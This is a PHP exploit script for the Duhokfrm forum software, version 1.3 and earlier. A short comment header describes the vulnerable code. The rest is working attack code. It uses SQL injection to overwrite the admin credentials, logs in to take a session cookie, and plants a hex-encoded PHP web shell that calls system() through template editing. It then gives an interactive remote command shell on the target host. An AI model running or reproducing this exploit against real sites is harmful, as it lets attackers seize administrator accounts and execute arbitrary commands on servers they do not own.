Duhokfrm <= 1.3 (sqli/auth bypass/php code injection) RCE

<?php
/*
    -----------------------------------------------------------------
    Duhokfrm  <= 1.3 Remote Command Execution
    -----------------------------------------------------------------

    author...........: Black-ID
    mail.............: dzcoder[at]hotmail[dot]fr
    software link....: n/a

    Remote command execution via  /sqli / authentification bypass /php code injection

[-] Vulnerability Description:

The vulnerable code is located in install/dz05.php

.142 $update = mysql_query("UPDATE " . $Prefix . "MEMBERS  SET MEMBER_NAME='$f' WHERE MEMBER_ID ='$p'") or die ("لم يتم القيام باي تغيرات");

An attacker can change admin information via sql injection and authenicat the control panel and get full access.

The vulnerable code is located in cp_inc\class_object.php

.92  $TMP_NAME = $_GET[tmp_name];
.93  $FILE_NAME =  $_GET[file];
.94  $TMP_CONTENT = @stripslashes(@htmlspecialchars(@get_content_withTMPFILE_name($FILE_NAME, $TMP_NAME, 1)));
.95  $TMP_CONTENT = @eregi_replace("\r\n\r\n\r\n\r\n", "", $TMP_CONTENT);
.96  if ($method == "edit")
.97  $DATE_LAST_EDIT = @normal_time(@get_content_withTMPFILE_name($FILE_NAME, $TMP_NAME, 2));


attacker supplied input passed through the post parameter in order to change style template
and this can lead to inject and execute execute arbitrary PHP code. Successful exploitation of
this vulnerability requires magic quotes off.


*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{

    if (($sock = fsockopen($host, 80))){
    fputs($sock, $packet);
    return stream_get_contents($sock);
    }
}

print "\n+------------------------------------------------------------------+";
print "\n| Duhokfrm  <= 1.3 Remote Command Execution By Black-ID            |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 2)
{
    print "\nUsage......: php $argv[0] host path/ \n";
    print "\nExample....: php $argv[0] localhost duhokfrm/ \n";
    die();
}

    $host = $argv[1];
    $path = $argv[2];

    $payload = "MEMBER_ID=1&MEMBER_NAME=Black-ID',M_NAME='Black-ID',M_PASSWORD='cb44acc8800b2b3b97079d908e8a715f&MEMBER_ID=1&edit=Ali";
    $packet  = "POST /{$path}install/dz05.php?do=edit&MEMBER_ID=1 HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Authorization: Basic cmFuazpyYW5r\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Connection: close\r\n\r\n{$payload}";
    $response = http_send($host,$packet);
    $payload = "user_name=Black-ID&user_pass=dz0";
    $packet  = "POST /{$path}cp_control/login.php?method=login HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Connection: close\r\n\r\n{$payload}";
    if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");

    $shellcode  = "\x3c\x3f\x70\x68\x70\x20\x65\x72\x72\x6f\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29\x3b";
    $shellcode .= "\x20\x70\x72\x69\x6e\x74\x28\x5f\x5f\x5f\x29\x3b\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x50\x4f\x53";
    $shellcode .= "\x54\x5b\x27\x64\x7a\x30\x27\x5d\x29\x3b\x20\x64\x69\x65\x3b\x20\x3f\x3e";

    $payload = "string=&file_name=header&tmp_name_temporaire=head_page&tmp_content=$shellcode";
    $packet  = "POST /{$path}cp_control/cp_home.php?mode=template&method=edit HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Cookie: {$sid[1]}\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Connection: close\r\n\r\n{$payload}";
    $response =  http_send($host,$packet);

while(1)
{
    print "\nduhokfrm-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $payload = "dz0=$cmd";
    $packet  = "POST /{$path}index.php?dz0=$cmd HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Connection: close\r\n\r\n{$payload}";
    $response =  http_send($host,$packet);
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>